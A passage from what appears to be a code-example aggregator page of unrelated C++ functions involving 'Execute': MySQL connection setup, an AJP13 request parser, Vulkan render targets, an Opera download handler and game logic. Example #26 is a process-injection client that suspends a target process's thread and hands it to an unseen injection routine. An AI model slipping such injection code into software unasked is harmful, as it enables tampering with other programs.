            host.c_str(),mysql_error(mysqlInit));
        mysql_close(mysqlInit);
        return false;
    }
}
Example #20
0
unsigned int StdThread::ThreadFunc() {
  // Keep calling Execute until someone gets fed up and calls Stop()
  while (!IsStopSignaled()) Execute();
  return (0);
}
Example #21
0
void MySQLConnection::BeginTransaction()
{
    Execute("START TRANSACTION");
}
Example #22
0
// --------------------------------------------------------------------------------------
void Ajp13Socket::ReceiveForwardRequest( const char *buf, size_t sz )
{
	//
	int ptr = 0;

	get_byte(buf, ptr); // skip first byte: prefix_code
	unsigned char method = get_byte(buf, ptr);
	std::string	 protocol = get_string(buf, ptr);
	std::string	 req_uri = get_string(buf, ptr);
	std::string	 remote_addr = get_string(buf, ptr);
	std::string	 remote_host = get_string(buf, ptr);
	std::string	 server_name = get_string(buf, ptr);
	short				 server_port = get_integer(buf, ptr);
	bool					is_ssl = get_boolean(buf, ptr);

	std::string method_str = Utility::l2string( method );
	std::map<int, std::string>::const_iterator it = Init.Method.find( method );
	if (it != Init.Method.end())
	{
		method_str = it -> second;
	}
	m_req.SetHttpMethod( method_str );
	m_req.SetHttpVersion( protocol );
	m_req.SetUri( req_uri );
	m_req.SetRemoteAddr( remote_addr );
	m_req.SetRemoteHost( remote_host );
	m_req.SetServerName( server_name );
	m_req.SetServerPort( server_port );
	m_req.SetIsSsl( is_ssl );

	// Get Headers
	short				 num_headers = get_integer(buf, ptr);
	for (int i = 0; i < num_headers; i++)
	{
		std::string key;
		switch ( (unsigned char)buf[ptr]) // 0xa0
		{
		case 0xa0:
			{
				unsigned short x = (unsigned short)get_integer(buf, ptr);
				std::map<int, std::string>::const_iterator it;
				if ( (it = Init.Header.find(x)) != Init.Header.end())
				{
					key = it -> second;
				}
				else
				{
					fprintf(stderr, "Unknown header key value: %x\n", x);
					SetCloseAndDelete();
				}
			}
			break;

		default: // string
			key = get_string(buf, ptr);
		}
		if (Utility::ToLower(key) == "cookie" || Utility::ToLower(key) == "cookie2")
			m_req.AddCookie(get_string(buf, ptr));
		else
			m_req.SetHeader(key, get_string(buf, ptr));
	} // for

	// size left to read from web server
	m_body_size_left = m_req.ContentLength();

	// Get Attributes
	while ( (unsigned char)buf[ptr] != 0xff)
	{
		std::string key;
		unsigned char code = buf[ptr++];
		switch ( code)
		{
		case 10: // req_attribute, attribute name follow
			key = get_string(buf, ptr);
			break;
		default:
			{
				std::map<int, std::string>::const_iterator it = Init.Attribute.find( code );
				if (it != Init.Attribute.end())
				{
					key = it -> second;
				}
				else
				{
					fprintf(stderr, "Unknown attribute key: 0x%02x\n", buf[ptr]);
					SetCloseAndDelete();
				}
			}
		}
		m_req.SetAttribute(key, get_string(buf, ptr));
	} // while

	// execute at once if no body data
	if (!m_body_size_left)
	{
		Execute();
	}
	else
	{
		// open temporary file for body data
		m_req.InitBody( m_body_size_left );
	}
}
Example #23
0
void MySQLConnection::CommitTransaction()
{
    Execute("COMMIT");
}
Example #24
0
bool MySQLConnection::Open(const std::string& infoString)
{
    MYSQL *mysqlInit;
    mysqlInit = mysql_init(NULL);
    if (!mysqlInit)
    {
        sLog.outError("Could not initialize Mysql connection");
        return false;
    }

    Tokens tokens = StrSplit(infoString, ";");

    Tokens::iterator iter;

    std::string host, port_or_socket, user, password, database;
    int port;
    char const* unix_socket;

    iter = tokens.begin();

    if (iter != tokens.end())
        host = *iter++;
    if (iter != tokens.end())
        port_or_socket = *iter++;
    if (iter != tokens.end())
        user = *iter++;
    if (iter != tokens.end())
        password = *iter++;
    if (iter != tokens.end())
        database = *iter++;

    mysql_options(mysqlInit, MYSQL_SET_CHARSET_NAME, "utf8");
    #ifdef _WIN32
    if (host==".")                                           // named pipe use option (Windows)
    {
        unsigned int opt = MYSQL_PROTOCOL_PIPE;
        mysql_options(mysqlInit, MYSQL_OPT_PROTOCOL, (char const*)&opt);
        port = 0;
        unix_socket = 0;
    }
    else                                                    // generic case
    {
        port = atoi(port_or_socket.c_str());
        unix_socket = 0;
    }
    #else
    if (host==".")                                           // socket use option (Unix/Linux)
    {
        unsigned int opt = MYSQL_PROTOCOL_SOCKET;
        mysql_options(mysqlInit, MYSQL_OPT_PROTOCOL, (char const*)&opt);
        host = "localhost";
        port = 0;
        unix_socket = port_or_socket.c_str();
    }
    else                                                    // generic case
    {
        port = atoi(port_or_socket.c_str());
        unix_socket = 0;
    }
    #endif

    m_Mysql = mysql_real_connect(mysqlInit, host.c_str(), user.c_str(),
        password.c_str(), database.c_str(), port, unix_socket, 0);

    if (m_Mysql)
    {
        sLog.outDetail("Connected to MySQL database at %s", host.c_str());
        sLog.outString("MySQL client library: %s", mysql_get_client_info());
        sLog.outString("MySQL server ver: %s ", mysql_get_server_info( m_Mysql));

        if (!mysql_autocommit(m_Mysql, 1))
            sLog.outDetail("AUTOCOMMIT SUCCESSFULLY SET TO 1");
        else
            sLog.outDetail("AUTOCOMMIT NOT SET TO 1");

        // set connection properties to UTF8 to properly handle locales for different
        // server configs - core sends data in UTF8, so MySQL must expect UTF8 too
        Execute("SET NAMES `utf8`");
        Execute("SET CHARACTER SET `utf8`");

    #if MYSQL_VERSION_ID >= 50003
        my_bool my_true = (my_bool)1;
        if (mysql_options(m_Mysql, MYSQL_OPT_RECONNECT, &my_true))
            sLog.outDetail("Failed to turn on MYSQL_OPT_RECONNECT.");
        else
           sLog.outDetail("Successfully turned on MYSQL_OPT_RECONNECT.");
    #else
        #warning "Your mySQL client lib version does not support reconnecting after a timeout.\nIf this causes you any trouble we advice you to upgrade your mySQL client libs to at least mySQL 5.0.13 to resolve this problem."
    #endif
        return true;
    }
    else
    {
        sLog.outError("Could not connect to MySQL database at %s: %s\n", host.c_str(), mysql_error(mysqlInit));
        mysql_close(mysqlInit);
        return false;
    }
}
Example #25
0
void RenderViewport::AllocateRenderTargets(rhi::GfxSetting & gfxSetting)
{
	if (m_RenderPass)
	{
		VkFormat depthFormat = g_FormatTable[gfxSetting.DepthStencilFormat];
		GetSupportedDepthFormat(GetPhysicalDevice(), &depthFormat);
		VkImage depthImage;
		VkImageCreateInfo image = {};
		image.sType = VK_STRUCTURE_TYPE_IMAGE_CREATE_INFO;
		image.imageType = VK_IMAGE_TYPE_2D;
		image.format = depthFormat;
		// Use example's height and width
		image.extent = { GetWidth(), GetHeight(), 1 };
		image.mipLevels = 1;
		image.arrayLayers = 1;
		image.samples = VK_SAMPLE_COUNT_1_BIT;
		image.tiling = VK_IMAGE_TILING_OPTIMAL;
		image.usage = VK_IMAGE_USAGE_DEPTH_STENCIL_ATTACHMENT_BIT | VK_IMAGE_USAGE_TRANSFER_SRC_BIT;
		image.initialLayout = VK_IMAGE_LAYOUT_UNDEFINED;
		vkCreateImage(GetRawDevice(), &image, nullptr, &depthImage);


		VkDeviceMemory depthMem;
		// Allocate memory for the image (device local) and bind it to our image
		VkMemoryAllocateInfo memAlloc = {};
		memAlloc.sType = VK_STRUCTURE_TYPE_MEMORY_ALLOCATE_INFO;
		VkMemoryRequirements memReqs;
		vkGetImageMemoryRequirements(GetRawDevice(), depthImage, &memReqs);
		memAlloc.allocationSize = memReqs.size;
		GetDevice()->FindMemoryType(memReqs.memoryTypeBits, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, &memAlloc.memoryTypeIndex);
		vkAllocateMemory(GetRawDevice(), &memAlloc, nullptr, &depthMem);
		vkBindImageMemory(GetRawDevice(), depthImage, depthMem, 0);

		auto layoutCmd = static_cast<CommandContext*>(GetDevice()->NewCommandContext(rhi::ECMD_Graphics));
		ImageMemoryBarrierParams params(depthImage,
			VK_IMAGE_LAYOUT_UNDEFINED,
			VK_IMAGE_LAYOUT_DEPTH_STENCIL_ATTACHMENT_OPTIMAL,
			VK_PIPELINE_STAGE_ALL_COMMANDS_BIT,
			VK_PIPELINE_STAGE_BOTTOM_OF_PIPE_BIT);
		layoutCmd->Begin();
		params.MipLevelCount(1).AspectMask(VK_IMAGE_ASPECT_DEPTH_BIT | VK_IMAGE_ASPECT_STENCIL_BIT).LayerCount(1);
		layoutCmd->PipelineBarrierImageMemory(params);
		layoutCmd->End();
		layoutCmd->Execute(false);

		VkImageView depthView;
		VkImageViewCreateInfo depthStencilView = {};
		depthStencilView.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO;
		depthStencilView.viewType = VK_IMAGE_VIEW_TYPE_2D;
		depthStencilView.format = depthFormat;
		depthStencilView.subresourceRange = {};
		depthStencilView.subresourceRange.aspectMask = DetermineAspectMask(depthFormat);
		depthStencilView.subresourceRange.baseMipLevel = 0;
		depthStencilView.subresourceRange.levelCount = 1;
		depthStencilView.subresourceRange.baseArrayLayer = 0;
		depthStencilView.subresourceRange.layerCount = 1;
		depthStencilView.image = depthImage;
		vkCreateImageView(GetRawDevice(), &depthStencilView, nullptr, &depthView);

		m_RenderTargets.resize(m_NumBufferCount);
		RenderpassOptions option = m_RenderPass->GetOption();
		VkFormat colorFmt = option.GetAttachments()[0].GetFormat();
		for (uint32_t i = 0; i < m_NumBufferCount; ++i)
		{
			VkImage colorImage = m_pSwapChain->GetBackImage(i);
			auto colorImageInfo = ImageViewInfo::CreateColorImageView(GetRawDevice(), colorFmt, colorImage);
			VKLOG(Info, "swapchain imageView created . (0x%0x).", colorImageInfo.first);
			colorImageInfo.second.components = {
				VK_COMPONENT_SWIZZLE_R,
				VK_COMPONENT_SWIZZLE_G,
				VK_COMPONENT_SWIZZLE_B,
				VK_COMPONENT_SWIZZLE_A
			};
			auto colorTex = Texture::CreateFromSwapChain(colorImage, colorImageInfo.first, colorImageInfo.second, GetDevice());

			FrameBuffer::Attachment colorAttach(colorImageInfo.first);
			FrameBuffer::Attachment depthAttach(depthView);
			FrameBuffer::Option op;
			op.Width = GetWidth();
			op.Height = GetHeight();
			op.Attachments.push_back(colorAttach);
			op.Attachments.push_back(depthAttach);
			auto framebuffer = SpFramebuffer(new FrameBuffer(GetDevice(), m_RenderPass->GetPass(), op));
			m_RenderTargets[i] = std::make_shared<RenderTarget>(GetDevice(), colorTex, framebuffer, m_RenderPass->GetPass());
		}
	}
}
Example #26
0
VOID Client::Execute()
{
    ClientAPI::Constructor();

    //
    // Get the command line of the application
    //
    LPWSTR szwProcess  = ALLOCATE_ARRAY (WCHAR, MAX_PATH + 1);
    LPWSTR szwFilename = ALLOCATE_ARRAY (WCHAR, MAX_PATH + 1);
    BOOL   bIsLaunched = FALSE;
    GetCommandLine(szwProcess, szwFilename, &bIsLaunched);

    //
    // Contains the process and thread handle
    //
    HANDLE hProcess = NULL, hThread = NULL;
    if (bIsLaunched == TRUE)
    {
	    //
	    // Should the inyector also launch the application from a known state?
	    //
	    STARTUPINFOW pExecutionData;
	    PROCESS_INFORMATION pProcessData;
	    pExecutionData.cb = sizeof(pExecutionData);

	    //
	    // Attempt to load the specified target
	    //
	    if (!fnCreateProcessW(szwProcess, 
	    					  NULL, 
	    					  NULL, 
	    					  NULL, 
	    					  FALSE,
	                          INHERIT_CALLER_PRIORITY | CREATE_SUSPENDED, 
	                          NULL, 
	                          NULL, 
	                          &pExecutionData, 
	                          &pProcessData))
	    {
	        fnExitProcess(Error::IX_ERROR_PROCESS_NOT_FOUND);
	    }

	    hProcess = pProcessData.hProcess;
	    hThread  = pProcessData.hThread;
	}
	else
	{
	    //
	    // Get the Handle of the target process
	    //
	    DWORD dwUniqueID = GetProcess(ClientAPI::GetHash(szwProcess, FALSE));
	    if  (dwUniqueID == Error::IX_ERROR)
	    {
	        fnExitProcess(Error::IX_ERROR_PROCESS_NOT_FOUND);
	    }

	    //
	    // Open the target process for querying thread
	    //
	    hProcess = fnOpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwUniqueID);
	    if (!hProcess)
	    {
	        fnExitProcess(Error::IX_ERROR_PROCESS_NOT_OPEN);
	    }

	    //
	    // Find available thread
	    //
	    DWORD dwThreadID = GetThread(dwUniqueID);
	    if  (dwThreadID == Error::IX_ERROR)
	    {
	        fnExitProcess(Error::IX_ERROR_THREAD_NOT_FOUND);
	    }

	    // Open the thread
	    hThread = fnOpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME, 
	    	FALSE, 
	    	dwThreadID);
	    if  (hThread == 0)
	    {
	        fnExitProcess(Error::IX_ERROR_THREAD_NOT_OPEN);
	    }
	    fnSuspendThread(hThread);
	}

	//
	// Execute the code
	//
    DWORD dwReturn = Execute(hProcess, hThread, szwFilename);

    //
    // Free allocated memory that was allocated when
    // requested from the Win32 command line
    //
    FREE (szwProcess);
    FREE (szwFilename);

    //
    // Exit process
    //
    fnExitProcess(dwReturn);
}
Example #27
0
// 数据库对象中写入数据
int COracleDB::Insert( const char *stable, const CSqlObj *obj )
{
	return Execute( stable, ( OracleSqlObj* ) obj, true ) ? 0 : DB_ERR_FAILED;
}
// OpDocumentListener::DownloadCallback methods that will conclude the
// interaction and ultimately free/delete the resources
BOOL TransferManagerDownloadCallback::Save(uni_char * filename)
{
	DoLoadedCheck();

	if (filename && *filename)
	{
		// If this resource has opera as viewer, then we will do
		// a copy when fully downloaded. If not, then we call LoadToFile..
		ViewActionReply reply;
		OpString mimetype;
		mimetype.Set(MIMEType());
		BOOL load_to_file = TRUE;
		if (OpStatus::IsSuccess(Viewers::GetViewAction(download_url, mimetype, reply, FALSE, FALSE)))
		{
			if (document_manager && document_manager->GetWindow() && document_manager->GetWindow()->GetType() == WIN_TYPE_IM_VIEW)
				keep_loading = TRUE;

			if (reply.action == VIEWER_OPERA)
			{
				download_filename.Set(filename);
				URLStatus download_url_status = (URLStatus) download_url.GetAttribute(URL::KLoadStatus, TRUE);
				if (download_url_status == URL_LOADED)
				{
					download_url.SaveAsFile(filename);
					dont_add_to_transfers = TRUE;
					load_to_file = FALSE;
				}
				else if(IsUrlInlined())
				{
					// Set up for later copy to file (when downloaded)
					need_copy_when_downloaded = TRUE;
					keep_loading = TRUE;
					load_to_file = FALSE;
				}
			}
			else
			{
				if (download_url.GetAttribute(URL::KMultimedia) && download_url.IsExportAllowed())
				{
					download_filename.Set(filename);
					load_to_file = OpStatus::IsError(download_url.ExportAsFile(filename));
					if (load_to_file)
					{
						download_url.SetAttribute(URL::KUnique, TRUE);
					}
				}
			}
		}

		if (load_to_file)
		{
			LoadToFile(filename);
		}
	}

	called = TRUE;
	download_action_mode = DOWNLOAD_SAVE;

	if (!delayed) // Someone will call Execute and then we will go on
		return FALSE;

	Execute();

	return TRUE;
}
 inline void ExecuteOnDemand(float fCurrentTimeFrom0To1)
 {
   if(!m_bExecuted && fCurrentTimeFrom0To1>m_fInvokationTime)
     Execute();
 };
Example #30
0
	void PlayerDefaultState::Execute(const shared_ptr<Player>& Obj) {
		auto PtrBehavior = Obj->GetBehavior<PlayerBehavior>();
		PtrBehavior->MovePlayer();
		auto PtrGrav = Obj->GetBehavior<Gravity>();
		PtrGrav->Execute();
	}